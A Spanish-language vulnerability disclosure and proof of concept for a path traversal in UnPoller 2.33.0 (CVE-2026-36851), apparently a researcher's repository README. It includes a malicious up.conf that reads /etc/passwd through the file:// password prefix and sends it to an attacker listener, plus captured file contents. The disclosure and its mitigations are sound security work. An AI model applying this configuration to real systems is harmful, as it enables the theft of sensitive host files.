
Guía y PoC de la vulnerabilidad de path traversal (CVE-2026-36851) para UnPoller 2.33.0
Path traversal / lectura arbitraria de archivos en UnPoller v2.33.0 a través del prefijo file:// en la contraseña. El contenido de los archivos se lee del disco y se transmite a la URL del controlador UniFi configurada durante la autenticación.
| CVE | CVE-2026-36851 |
| Producto | UnPoller v2.33.0 (versiones anteriores probablemente afectadas) |
| Debilidad | CWE-22 (Path Traversal), CWE-20 (Improper Input Validation) |
| CVSS 3.1 | 7.5 Alta — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N |
| Reportante | Hector Diaz |
UnPoller admite cargar credenciales desde un archivo cuando el valor de configuración comienza con file://. Ese comportamiento está documentado para despliegues de Docker donde los operadores quieren contraseñas fuera de los archivos de configuración en texto plano. La implementación no restringe qué ruta puede leerse: cualquier archivo al que el proceso pueda acceder es una entrada válida. Ese contenido se envía luego por red en un POST JSON a /api/login en el controlador al que apunte url en el mismo archivo de configuración.
Esa combinación convierte una primitiva de lectura local de archivos en un canal de exfiltración por red: un atacante con acceso de escritura a up.conf puede apuntar url a un servidor que controle y filtrar repetidamente archivos sensibles sin tener permiso de lectura directo sobre esos archivos.
Ejecuto UnPoller en mi homelab — Docker en un LXC de Proxmox — para exportar métricas de UniFi a Grafana junto con el resto de mi stack. Estaba revisando proyectos de código abierto en busca de vulnerabilidades web comunes. UnPoller tiene una superficie web mínima orientada al usuario, así que XSS era un callejón sin salida. La configuración de ejemplo es donde comenzó el hallazgo:
pass = "file:///path/to/password.file"
La intención es razonable: hacer referencia a un archivo de secretos en lugar de incrustar la contraseña en up.conf. La pregunta que tenía era si UnPoller valida esa ruta — o trata cualquier valor file:// como un puntero literal al sistema de archivos.
Al rastrear el código fuente en pkg/inputunifi/input.go (y el manejo similar en influxunifi, lokiunifi) se observa que no hay ninguna lista blanca. Cuando pass o api_key comienza con file://, se elimina el prefijo y os.ReadFile() carga el contenido completo del archivo en el campo de credenciales utilizado para la autenticación de UniFi.
Confidencialidad: los archivos legibles arbitrarios en el host de UnPoller pueden exfiltrarse — p. ej., /etc/passwd, /proc/version, /etc/hosts, configuraciones de aplicaciones y potencialmente material de claves, según los permisos del proceso.
Requisitos previos del ataque: acceso de escritura a la configuración de UnPoller (normalmente up.conf). No se requieren credenciales de UniFi para desencadenar la lectura una vez modificada la configuración.
Por qué esto importa más allá del acceso administrativo local: en alojamiento compartido, Kubernetes mal configurado o escenarios de sidecar comprometido, un actor con bajos privilegios podría modificar la configuración del servicio sin poder leer archivos sensibles directamente. Este comportamiento salva esa brecha al hacer que UnPoller lea el archivo y lo transmita hacia el exterior.
Fuera de alcance: ejecución remota de código, integridad o disponibilidad — se trata de un problema de divulgación de información con una vía de exfiltración clara.
Probado contra ghcr.io/unpoller/unpoller:latest (v2.33.0) en un LXC de Proxmox basado en Debian con Docker Compose.
Establecer UP_UNIFI_DEFAULT_PASS="file:///etc/passwd" mediante una variable de entorno no desencadenó el comportamiento en mi despliegue. El archivo de configuración montado era la fuente de verdad efectiva.
Edité up.conf para apuntar UnPoller a un servidor de captura que yo controlaba en lugar de mi controlador UniFi de producción:
[unifi.defaults]
url = "https://x.x.x.x:8443"
user = "admin"
pass = "file:///etc/passwd"
Después de docker restart unpoller, el contenedor comenzó a conectarse a mi listener en el puerto 8443 aproximadamente cada 30 segundos.
Mi primer servidor de captura registraba las cabeceras HTTP y buscaba credenciales Authorization: Basic .... UnPoller enviaba solicitudes POST /api/login sin cabecera Authorization — la API de UniFi espera JSON en el cuerpo:
{"username": "admin", "password": "..."}
Actualicé el listener para leer Content-Length, analizar el cuerpo del POST y registrar el JSON. En menos de un minuto, /etc/passwd apareció en el campo de contraseña:
!/etc/passwd filtrado en el cuerpo del POST de login(images/cve-capture-etc-passwd.png)
Extracto del registro:
🎯 POST BODY: b'{"username":"admin","password":"root:x:0:0:root:/root:/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/sbin/nologin
nonroot:x:65532:65532:nonroot:/home/nonroot:/sbin/nologin"}'
El mismo patrón de configuración funcionó para /proc/version (fingerprinting del kernel/build):
!/proc/version filtrado en el cuerpo del POST de login(images/cve-capture-proc-version.png)
Ejemplo de configuración maliciosa: poc/up.conf.example
| Fecha | Evento |
|---|---|
| 2026-02-28 | Descubierto y confirmado en el homelab |
| 2026-03-01 | Proveedor notificado (Discord) |
El mantenedor de UnPoller reconoció el comportamiento file:// como una conveniencia intencional para los usuarios de Docker y cuestionó su explotabilidad sin separación de privilegios entre el editor de la configuración y el usuario del proceso. MITRE asignó un identificador CVE de todos modos.
Para operadores
up.conf y los montajes de configuración como sensibles; restrinja el acceso de escritura.file:// arbitrarias hasta que haya una corrección disponible.Para desarrolladores
file:// en los campos de credenciales, o aplique una lista blanca estricta de rutas (p. ej., solo bajo /etc/unpoller/secrets/).MIT — consulte LICENSE. Los materiales de prueba de concepto en este repositorio se proporcionan exclusivamente para investigación y educación de seguridad autorizadas. No los utilice contra sistemas que no le pertenezcan o para los que no tenga permiso explícito de prueba.
Hector Diaz · LinkedIn · hectordiaz.net
| 2026-03-02 |
| Solicitud de CVE enviada a MITRE |
| 2026-06-05 | CVE-2026-36851 asignado |
| 2026-07-03 | Informe público publicado |